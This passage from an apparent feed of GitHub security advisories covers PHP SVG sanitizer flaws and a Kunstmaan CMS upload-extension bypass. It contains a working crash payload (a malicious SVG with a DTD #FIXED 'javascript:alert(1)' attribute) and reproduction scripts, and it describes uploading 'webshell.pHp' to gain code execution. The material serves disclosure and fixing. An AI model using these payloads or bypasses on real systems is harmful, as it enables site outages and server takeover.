    &lt;span class=&quot;pl-k&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;pl-s&quot;&gt;&quot;&lt;span class=&quot;pl-s&quot;&gt;  output &amp;lt;use  count : &lt;/span&gt;&quot;&lt;/span&gt;, &lt;span class=&quot;pl-en&quot;&gt;substr_count&lt;/span&gt;(&lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;out&lt;/span&gt;, &lt;span class=&quot;pl-s&quot;&gt;&#39;&lt;span class=&quot;pl-s&quot;&gt;&amp;lt;use &lt;/span&gt;&#39;&lt;/span&gt;), &lt;span class=&quot;pl-s&quot;&gt;&quot;\n&quot;&lt;/span&gt;;
    &lt;span class=&quot;pl-k&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;pl-s&quot;&gt;&quot;&lt;span class=&quot;pl-s&quot;&gt;  output xlink:href  : &lt;/span&gt;&quot;&lt;/span&gt;, (&lt;span class=&quot;pl-en&quot;&gt;strpos&lt;/span&gt;(&lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;out&lt;/span&gt;,&lt;span class=&quot;pl-s&quot;&gt;&#39;&lt;span class=&quot;pl-s&quot;&gt;xlink:href&lt;/span&gt;&#39;&lt;/span&gt;)!==&lt;span class=&quot;pl-c1&quot;&gt;false&lt;/span&gt;?&lt;span class=&quot;pl-s&quot;&gt;&#39;&lt;span class=&quot;pl-s&quot;&gt;YES&lt;/span&gt;&#39;&lt;/span&gt;:&lt;span class=&quot;pl-s&quot;&gt;&#39;&lt;span class=&quot;pl-s&quot;&gt;NO&lt;/span&gt;&#39;&lt;/span&gt;), &lt;span class=&quot;pl-s&quot;&gt;&quot;\n&quot;&lt;/span&gt;;
    &lt;span class=&quot;pl-k&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;pl-s&quot;&gt;&quot;&lt;span class=&quot;pl-s&quot;&gt;  output xlink:HrEf  : &lt;/span&gt;&quot;&lt;/span&gt;, (&lt;span class=&quot;pl-en&quot;&gt;strpos&lt;/span&gt;(&lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;out&lt;/span&gt;,&lt;span class=&quot;pl-s&quot;&gt;&#39;&lt;span class=&quot;pl-s&quot;&gt;xlink:HrEf&lt;/span&gt;&#39;&lt;/span&gt;)!==&lt;span class=&quot;pl-c1&quot;&gt;false&lt;/span&gt;?&lt;span class=&quot;pl-s&quot;&gt;&#39;&lt;span class=&quot;pl-s&quot;&gt;YES&lt;/span&gt;&#39;&lt;/span&gt;:&lt;span class=&quot;pl-s&quot;&gt;&#39;&lt;span class=&quot;pl-s&quot;&gt;NO&lt;/span&gt;&#39;&lt;/span&gt;), &lt;span class=&quot;pl-s&quot;&gt;&quot;\n&quot;&lt;/span&gt;;
}
&lt;span class=&quot;pl-en&quot;&gt;run&lt;/span&gt;(&lt;span class=&quot;pl-s&quot;&gt;&#39;&lt;span class=&quot;pl-s&quot;&gt;canonical xlink:href (control)&lt;/span&gt;&#39;&lt;/span&gt;, &lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;orig&lt;/span&gt;);
&lt;span class=&quot;pl-en&quot;&gt;run&lt;/span&gt;(&lt;span class=&quot;pl-s&quot;&gt;&#39;&lt;span class=&quot;pl-s&quot;&gt;mixed-case xlink:HrEf (attack)&lt;/span&gt;&#39;&lt;/span&gt;, &lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;mut&lt;/span&gt;);&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Observed on PHP 8.5.9:&lt;/p&gt;
&lt;pre lang=&quot;text&quot; class=&quot;notranslate&quot;&gt;&lt;code class=&quot;notranslate&quot;&gt;orig use count: 201
mutated input has xlink:HrEf: YES

[canonical xlink:href (control)]
  output &amp;lt;use  count : 0
  output xlink:href  : NO
  output xlink:HrEf  : NO
[mixed-case xlink:HrEf (attack)]
  output &amp;lt;use  count : 201
  output xlink:href  : YES
  output xlink:HrEf  : NO
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;201 to 0 on canonical input, 201 to 201 on mixed-case input, and the output attribute name comes back canonical either way. To be precise about what I measured: I measured the nullification being skipped and the attribute being re-canonicalized. I did not measure renderer memory or CPU on the resulting file, so the downstream cost is whatever you already assign to &lt;code class=&quot;notranslate&quot;&gt;useDosTest.svg&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Suggested fix&lt;/h2&gt;
&lt;p&gt;Stop matching attribute names case sensitively when the reference graph is built. Either select every descendant &lt;code class=&quot;notranslate&quot;&gt;use&lt;/code&gt; and resolve the href in PHP with a case-insensitive local-name lookup (an extension of &lt;code class=&quot;notranslate&quot;&gt;Helper::getElementHref()&lt;/code&gt; at &lt;code class=&quot;notranslate&quot;&gt;Helper.php:10-19&lt;/code&gt; is the smallest change), or move the &lt;code class=&quot;notranslate&quot;&gt;cleanHrefAttributes()&lt;/code&gt; canonicalization so it runs before &lt;code class=&quot;notranslate&quot;&gt;$this-&amp;gt;elementReferenceResolver-&amp;gt;collect()&lt;/code&gt; rather than after, so the resolver only ever sees &lt;code class=&quot;notranslate&quot;&gt;href&lt;/code&gt; and &lt;code class=&quot;notranslate&quot;&gt;xlink:href&lt;/code&gt;. The second option also removes the general class of bug where the graph and the cleaner disagree about a node&#39;s identity.&lt;/p&gt;
&lt;h3&gt;References&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a title=&quot;GHSA-m9xh-6747-9r6f&quot; href=&quot;https://github.com/darylldoyle/svg-sanitizer/security/advisories/GHSA-m9xh-6747-9r6f&quot;&gt;GHSA-m9xh-6747-9r6f&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class=&quot;commit-link&quot; data-hovercard-type=&quot;commit&quot; data-hovercard-url=&quot;https://github.com/darylldoyle/svg-sanitizer/commit/2dff6628314de8519155b7feb218bbe132785757/hovercard&quot; href=&quot;https://github.com/darylldoyle/svg-sanitizer/commit/2dff6628314de8519155b7feb218bbe132785757&quot;&gt;darylldoyle/svg-sanitizer@&lt;tt&gt;2dff662&lt;/tt&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/darylldoyle/svg-sanitizer/releases/tag/1.0.0&quot;&gt;https://github.com/darylldoyle/svg-sanitizer/releases/tag/1.0.0&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
  </description><link>https://github.com/advisories/GHSA-m9xh-6747-9r6f</link><guid isPermaLink="false">https://github.com/advisories/GHSA-m9xh-6747-9r6f</guid><pubDate>Thu, 08 Oct 2026 19:41:10 GMT</pubDate></item><item><title>enshrined/svg-sanitize: Denial of Service via DTD Attribute Declaration Crash</title><description>&lt;h2&gt;Summary&lt;/h2&gt;
&lt;p&gt;A crafted SVG file (1009 bytes) crashes the PHP process when sanitized by &lt;code class=&quot;notranslate&quot;&gt;enshrined/svg-sanitize&lt;/code&gt; (any version through 0.22.x). The sanitizer&#39;s &lt;code class=&quot;notranslate&quot;&gt;cleanAttributesOnWhitelist()&lt;/code&gt; method calls &lt;code class=&quot;notranslate&quot;&gt;DOMElement::removeAttribute()&lt;/code&gt; twice on the same attribute name — first removing the explicit attribute, then attempting to remove the DTD &lt;code class=&quot;notranslate&quot;&gt;#FIXED&lt;/code&gt; default — triggering a PHP ext/dom type confusion that kills the PHP-FPM worker.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Affected installations:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;enshrined/svg-sanitize:&lt;/strong&gt; 45.2M Packagist downloads, 1.3M/month, 90+ dependents&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;WordPress Safe SVG plugin:&lt;/strong&gt; 1M+ active installs&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;TYPO3:&lt;/strong&gt; svg-sanitize integrated into core since v9&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Drupal:&lt;/strong&gt; community module wrapping svg-sanitize&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Vulnerability Details&lt;/h2&gt;
&lt;h3&gt;Trigger Flow&lt;/h3&gt;
&lt;pre class=&quot;notranslate&quot;&gt;&lt;code class=&quot;notranslate&quot;&gt;Sanitizer::sanitize($malicious_svg)
  → DOMDocument::loadXML() — parses DTD, creates XML_ATTRIBUTE_DECL for #FIXED attr
  → startClean() → cleanAttributesOnWhitelist($svgElement)
    → &quot;badhref&quot; NOT in allowedAttrs
    → removeAttribute(&quot;badhref&quot;)          ← removes explicit attribute (safe)
    → stripos(&quot;badhref&quot;, &quot;href&quot;) = TRUE
    → getAttribute(&quot;badhref&quot;)             ← returns DTD #FIXED default value
    → isHrefSafeValue(&quot;javascript:x&quot;)    ← returns FALSE
    → removeAttribute(&quot;badhref&quot;)          ← hits XML_ATTRIBUTE_DECL → CRASH
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Root cause in svg-sanitize:&lt;/strong&gt; The sanitizer does not strip DOCTYPE/DTD declarations before processing. The &lt;code class=&quot;notranslate&quot;&gt;cleanAttributesOnWhitelist()&lt;/code&gt; method at &lt;code class=&quot;notranslate&quot;&gt;Sanitizer.php:303-330&lt;/code&gt; has a double-removal pattern where the whitelist check and the href safety check can both call &lt;code class=&quot;notranslate&quot;&gt;removeAttribute()&lt;/code&gt; on the same attribute name. When a DTD &lt;code class=&quot;notranslate&quot;&gt;#FIXED&lt;/code&gt; default exists, the second call targets the DTD declaration node, triggering a PHP crash.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Second trigger path&lt;/strong&gt; in &lt;code class=&quot;notranslate&quot;&gt;cleanHrefAttributes()&lt;/code&gt; (&lt;code class=&quot;notranslate&quot;&gt;Sanitizer.php:354&lt;/code&gt;): case-normalization of &lt;code class=&quot;notranslate&quot;&gt;HrEf&lt;/code&gt; → &lt;code class=&quot;notranslate&quot;&gt;href&lt;/code&gt; calls &lt;code class=&quot;notranslate&quot;&gt;removeAttribute()&lt;/code&gt; then &lt;code class=&quot;notranslate&quot;&gt;setAttribute()&lt;/code&gt; on the DTD default.&lt;/p&gt;
&lt;h3&gt;WordPress Code Path&lt;/h3&gt;
&lt;pre class=&quot;notranslate&quot;&gt;&lt;code class=&quot;notranslate&quot;&gt;User uploads SVG → WordPress wp_handle_upload()
  → filter &#39;wp_handle_upload_prefilter&#39;
  → SafeSvg\safe_svg::check_for_svg()        [safe-svg.php:176]
  → SafeSvg\safe_svg::sanitize($tmp_file)     [safe-svg.php:218]
  → enshrined\Sanitizer::sanitize($contents)   [Sanitizer.php:193]
  → cleanAttributesOnWhitelist() → double removeAttribute → CRASH
  → PHP-FPM worker killed (SIGABRT) → nginx returns HTTP 502
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Proof of Concept&lt;/h2&gt;
&lt;h3&gt;Malicious SVG (evil.svg)&lt;/h3&gt;
&lt;div class=&quot;highlight highlight-text-xml&quot;&gt;&lt;pre class=&quot;notranslate&quot;&gt;&amp;lt;?&lt;span class=&quot;pl-ent&quot;&gt;xml&lt;/span&gt;&lt;span class=&quot;pl-e&quot;&gt; version&lt;/span&gt;=&lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;1.0&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;pl-e&quot;&gt; encoding&lt;/span&gt;=&lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;UTF-8&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;?&amp;gt;
&amp;lt;!&lt;span class=&quot;pl-ent&quot;&gt;DOCTYPE&lt;/span&gt; &lt;span class=&quot;pl-e&quot;&gt;svg&lt;/span&gt; [
  &amp;lt;!ATTLIST svg badhref CDATA #FIXED &quot;javascript:alert(1)&quot;&amp;gt;
]&amp;gt;
&amp;lt;&lt;span class=&quot;pl-ent&quot;&gt;svg&lt;/span&gt; &lt;span class=&quot;pl-e&quot;&gt;xmlns&lt;/span&gt;=&lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;http://www.w3.org/2000/svg&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;pl-e&quot;&gt;badhref&lt;/span&gt;=&lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;javascript:alert(1)&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;pl-e&quot;&gt;viewBox&lt;/span&gt;=&lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;0 0 100 100&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;&amp;gt;
  &amp;lt;&lt;span class=&quot;pl-ent&quot;&gt;rect&lt;/span&gt; &lt;span class=&quot;pl-e&quot;&gt;width&lt;/span&gt;=&lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;100&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;pl-e&quot;&gt;height&lt;/span&gt;=&lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;100&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;pl-e&quot;&gt;fill&lt;/span&gt;=&lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;red&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;/&amp;gt;
&amp;lt;/&lt;span class=&quot;pl-ent&quot;&gt;svg&lt;/span&gt;&amp;gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;Standalone reproduction&lt;/h3&gt;
&lt;div class=&quot;highlight highlight-text-html-php&quot;&gt;&lt;pre class=&quot;notranslate&quot;&gt;&lt;span class=&quot;pl-ent&quot;&gt;&amp;lt;?php&lt;/span&gt;
&lt;span class=&quot;pl-k&quot;&gt;require_once&lt;/span&gt; &lt;span class=&quot;pl-s&quot;&gt;&#39;&lt;span class=&quot;pl-s&quot;&gt;vendor/autoload.php&lt;/span&gt;&#39;&lt;/span&gt;;

&lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;svg&lt;/span&gt; = &lt;span class=&quot;pl-en&quot;&gt;file_get_contents&lt;/span&gt;(&lt;span class=&quot;pl-s&quot;&gt;&#39;&lt;span class=&quot;pl-s&quot;&gt;evil.svg&lt;/span&gt;&#39;&lt;/span&gt;);
&lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;sanitizer&lt;/span&gt; = &lt;span class=&quot;pl-k&quot;&gt;new&lt;/span&gt; \&lt;span class=&quot;pl-v&quot;&gt;enshrined&lt;/span&gt;\&lt;span class=&quot;pl-v&quot;&gt;svgSanitize&lt;/span&gt;\&lt;span class=&quot;pl-v&quot;&gt;Sanitizer&lt;/span&gt;();
&lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;clean&lt;/span&gt; = &lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;sanitizer&lt;/span&gt;-&amp;gt;&lt;span class=&quot;pl-en&quot;&gt;sanitize&lt;/span&gt;(&lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;svg&lt;/span&gt;);
&lt;span class=&quot;pl-k&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;pl-s&quot;&gt;&quot;&lt;span class=&quot;pl-s&quot;&gt;Sanitized: &lt;/span&gt;&quot;&lt;/span&gt; . &lt;span class=&quot;pl-en&quot;&gt;strlen&lt;/span&gt;(&lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;clean&lt;/span&gt;) . &lt;span class=&quot;pl-s&quot;&gt;&quot;&lt;span class=&quot;pl-s&quot;&gt; bytes&lt;/span&gt;\n&quot;&lt;/span&gt;;
&lt;span class=&quot;pl-c&quot;&gt;// Process crashes at exit: munmap_chunk(): invalid pointer, exit code 134&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;WordPress reproduction&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;WordPress (any version) + Safe SVG plugin (any version through 2.4.0)&lt;/li&gt;
&lt;li&gt;Login as Author → Media → Add New → upload &lt;code class=&quot;notranslate&quot;&gt;evil.svg&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Result:&lt;/strong&gt; HTTP 502 Bad Gateway, PHP-FPM worker killed&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Confirmed output&lt;/h3&gt;
&lt;pre class=&quot;notranslate&quot;&gt;&lt;code class=&quot;notranslate&quot;&gt;$ docker exec wordpress php /tmp/test.php
Sanitized: 157 bytes
munmap_chunk(): invalid pointer
$ echo $?
134

PHP-FPM log:
[WARNING] [pool www] child 17 exited on signal 6 (SIGABRT)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Impact&lt;/h2&gt;
&lt;h3&gt;Full Site Denial of Service&lt;/h3&gt;
&lt;p&gt;With &lt;code class=&quot;notranslate&quot;&gt;pm.max_children = N&lt;/code&gt;: N concurrent SVG uploads = all PHP-FPM workers dead = complete outage. Workers respawn, but each malicious request kills one. Automated loop sustains permanent DoS.&lt;/p&gt;
&lt;h3&gt;Application State Corruption&lt;/h3&gt;
&lt;p&gt;SIGABRT bypasses &lt;code class=&quot;notranslate&quot;&gt;register_shutdown_function()&lt;/code&gt;. On WordPress + WooCommerce:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Coupon bypass:&lt;/strong&gt; usage_count increment skipped → unlimited reuse of single-use coupons&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Stock oversell:&lt;/strong&gt; stock reduction not committed → multiple orders for 1-stock items&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cron starvation:&lt;/strong&gt; wp_cron blocked → scheduled cleanup (unpaid order cancellation) never runs → stock held indefinitely&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Attack surface&lt;/h3&gt;
&lt;p&gt;Safe SVG hooks &lt;code class=&quot;notranslate&quot;&gt;wp_handle_upload_prefilter&lt;/code&gt; (safe-svg.php line 152). The hook fires when code calls &lt;code class=&quot;notranslate&quot;&gt;wp_handle_upload()&lt;/code&gt; or &lt;code class=&quot;notranslate&quot;&gt;wp_handle_sideload()&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Popular form plugins (Contact Form 7, WPForms) use &lt;code class=&quot;notranslate&quot;&gt;move_uploaded_file()&lt;/code&gt; directly, bypassing WordPress&#39;s upload pipeline. They do NOT trigger Safe SVG. Only code that explicitly calls &lt;code class=&quot;notranslate&quot;&gt;wp_handle_upload()&lt;/code&gt; is affected.&lt;/p&gt;
&lt;markdown-accessiblity-table&gt;&lt;table role=&quot;table&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Scenario&lt;/th&gt;
&lt;th&gt;Authentication&lt;/th&gt;
&lt;th&gt;Affected installs&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;WordPress (default Safe SVG) — Media upload&lt;/td&gt;
&lt;td&gt;Author role (&lt;code class=&quot;notranslate&quot;&gt;upload_files&lt;/code&gt; cap)&lt;/td&gt;
&lt;td&gt;1M+&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;WordPress — REST API &lt;code class=&quot;notranslate&quot;&gt;POST /wp/v2/media&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Author role&lt;/td&gt;
&lt;td&gt;1M+&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;WordPress — plugins using &lt;code class=&quot;notranslate&quot;&gt;wp_handle_upload()&lt;/code&gt; for public uploads&lt;/td&gt;
&lt;td&gt;Varies by plugin&lt;/td&gt;
&lt;td&gt;Plugin-dependent&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Custom PHP app with svg-sanitize on public endpoint&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Often none&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;45M+ downloads&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;TYPO3 (svg-sanitize in core since v9)&lt;/td&gt;
&lt;td&gt;Backend editor&lt;/td&gt;
&lt;td&gt;All TYPO3 v9+&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/markdown-accessiblity-table&gt;
&lt;p&gt;The strongest pre-auth scenario is &lt;strong&gt;custom PHP applications&lt;/strong&gt; using svg-sanitize directly on public upload endpoints — a common pattern given 45M+ Packagist downloads and 90+ dependent packages.&lt;/p&gt;
&lt;h2&gt;CVSS&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;CVSS 3.1: 6.5 (Medium)&lt;/strong&gt; — default WordPress (Author role)&lt;/p&gt;
&lt;p&gt;&lt;code class=&quot;notranslate&quot;&gt;AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;For custom apps with unauthenticated svg-sanitize endpoints: &lt;strong&gt;CVSS 7.5 (High)&lt;/strong&gt; (PR:N)&lt;/p&gt;
&lt;h2&gt;Suggested Fix&lt;/h2&gt;
&lt;p&gt;Strip DOCTYPE before parsing — eliminates the trigger regardless of PHP version:&lt;/p&gt;
&lt;div class=&quot;highlight highlight-text-html-php&quot;&gt;&lt;pre class=&quot;notranslate&quot;&gt;&lt;span class=&quot;pl-c&quot;&gt;// In Sanitizer::sanitize(), before loadXML():&lt;/span&gt;
&lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;dirty&lt;/span&gt; = &lt;span class=&quot;pl-en&quot;&gt;preg_replace&lt;/span&gt;(&lt;span class=&quot;pl-s&quot;&gt;&#39;&lt;span class=&quot;pl-s&quot;&gt;/&amp;lt;!DOCTYPE[^&amp;gt;]*(?:\[.*?\])?\s*&amp;gt;/si&lt;/span&gt;&#39;&lt;/span&gt;, &lt;span class=&quot;pl-s&quot;&gt;&#39;&#39;&lt;/span&gt;, &lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;dirty&lt;/span&gt;);&lt;/pre&gt;&lt;/div&gt;
&lt;h2&gt;Environment&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;enshrined/svg-sanitize 0.22.x (bundled with Safe SVG 2.4.0)&lt;/li&gt;
&lt;li&gt;WordPress 6.9.4 + Safe SVG 2.4.0&lt;/li&gt;
&lt;li&gt;PHP 8.3.24 (fpm), NTS, x86_64&lt;/li&gt;
&lt;li&gt;nginx + PHP-FPM (Docker)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Reported by ExPatch Security Research — &lt;a href=&quot;https://expatch.llc/&quot; rel=&quot;nofollow&quot;&gt;expatch.llc&lt;/a&gt;&lt;br&gt;
Denis Rostilov&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;References&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a title=&quot;GHSA-v383-3rw5-q8rf&quot; href=&quot;https://github.com/darylldoyle/svg-sanitizer/security/advisories/GHSA-v383-3rw5-q8rf&quot;&gt;GHSA-v383-3rw5-q8rf&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2026-107379&quot; rel=&quot;nofollow&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2026-107379&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class=&quot;commit-link&quot; data-hovercard-type=&quot;commit&quot; data-hovercard-url=&quot;https://github.com/darylldoyle/svg-sanitizer/commit/23877db7e76f1e1df5c3e65ab30239219c3d2867/hovercard&quot; href=&quot;https://github.com/darylldoyle/svg-sanitizer/commit/23877db7e76f1e1df5c3e65ab30239219c3d2867&quot;&gt;darylldoyle/svg-sanitizer@&lt;tt&gt;23877db&lt;/tt&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/darylldoyle/svg-sanitizer/releases/tag/1.0.0&quot;&gt;https://github.com/darylldoyle/svg-sanitizer/releases/tag/1.0.0&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
  </description><link>https://github.com/advisories/GHSA-v383-3rw5-q8rf</link><guid isPermaLink="false">https://github.com/advisories/GHSA-v383-3rw5-q8rf</guid><pubDate>Thu, 08 Oct 2026 19:41:05 GMT</pubDate></item><item><title>Kunstmaan CMS: MediaBundle extension blacklist bypass allows authenticated administrators to upload executable PHP files leading to remote code execut...</title><description>&lt;h3&gt;Summary&lt;/h3&gt;
&lt;p&gt;The MediaBundle blocks dangerous upload extensions with a blacklist that was matched&lt;br&gt;
case-sensitively, while the stored filename was lowercased afterwards. A file uploaded&lt;br&gt;
as &lt;code class=&quot;notranslate&quot;&gt;webshell.pHp&lt;/code&gt; therefore bypassed the blacklist and was written to the web-accessible&lt;br&gt;
upload directory as &lt;code class=&quot;notranslate&quot;&gt;webshell.php&lt;/code&gt;, where the web server executed it. Any authenticated&lt;br&gt;
backend user with access to the media section could obtain remote code execution.&lt;/p&gt;
&lt;h3&gt;Details&lt;/h3&gt;
&lt;p&gt;&lt;code class=&quot;notranslate&quot;&gt;FileHandler::getFilePath()&lt;/code&gt; rewrote blacklisted extensions to &lt;code class=&quot;notranslate&quot;&gt;.txt&lt;/code&gt; using a&lt;br&gt;
case-sensitive regex, and only then lowercased the extension when building the stored&lt;br&gt;
name — so the check ran against the attacker-controlled casing and the normalisation&lt;br&gt;
happened after it.&lt;/p&gt;
&lt;p&gt;Two further weaknesses contributed:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The default blacklist contained only &lt;code class=&quot;notranslate&quot;&gt;php&lt;/code&gt; and &lt;code class=&quot;notranslate&quot;&gt;htaccess&lt;/code&gt;, leaving other&lt;br&gt;
server-executable extensions (&lt;code class=&quot;notranslate&quot;&gt;phtml&lt;/code&gt;, &lt;code class=&quot;notranslate&quot;&gt;php5&lt;/code&gt;, &lt;code class=&quot;notranslate&quot;&gt;phar&lt;/code&gt;, &lt;code class=&quot;notranslate&quot;&gt;shtml&lt;/code&gt;, &lt;code class=&quot;notranslate&quot;&gt;cgi&lt;/code&gt;, …) unblocked&lt;br&gt;
regardless of casing.&lt;/li&gt;
&lt;li&gt;Configured blacklist values were interpolated into the regex unescaped.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Impact&lt;/h3&gt;
&lt;p&gt;An authenticated user with access to the admin media section can upload a file that the&lt;br&gt;
web server executes as PHP. The uploaded file is reachable over HTTP without&lt;br&gt;
authentication, giving arbitrary code execution as the web server user.&lt;/p&gt;
&lt;h3&gt;Patches&lt;/h3&gt;
&lt;p&gt;Fixed in kunstmaan/media-bundle 7.3.2. The extension is now normalised before it is&lt;br&gt;
checked and compared with &lt;code class=&quot;notranslate&quot;&gt;in_array()&lt;/code&gt;; the default blacklist is expanded to the full&lt;br&gt;
set of server-executable extensions; and a new opt-in &lt;code class=&quot;notranslate&quot;&gt;allowed_extensions&lt;/code&gt; option allows&lt;br&gt;
projects to enforce a strict allow-list.&lt;/p&gt;
&lt;p&gt;Note that the patch does not rename files already stored on disk. Sites should audit&lt;br&gt;
their media upload directory for existing files with an executable extension.&lt;/p&gt;
&lt;h3&gt;Workarounds&lt;/h3&gt;
&lt;p&gt;If you cannot upgrade, configure the web server to refuse to execute scripts in the&lt;br&gt;
media upload directory (for example a &lt;code class=&quot;notranslate&quot;&gt;location&lt;/code&gt; block in nginx or &lt;code class=&quot;notranslate&quot;&gt;php_flag engine off&lt;/code&gt;&lt;br&gt;
in Apache).&lt;/p&gt;
&lt;h3&gt;References&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a title=&quot;GHSA-p279-5wcv-45vq&quot; href=&quot;https://github.com/Kunstmaan/KunstmaanBundlesCMS/security/advisories/GHSA-p279-5wcv-45vq&quot;&gt;GHSA-p279-5wcv-45vq&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2026-104890&quot; rel=&quot;nofollow&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2026-104890&lt;/a&gt;&lt;/li&gt;
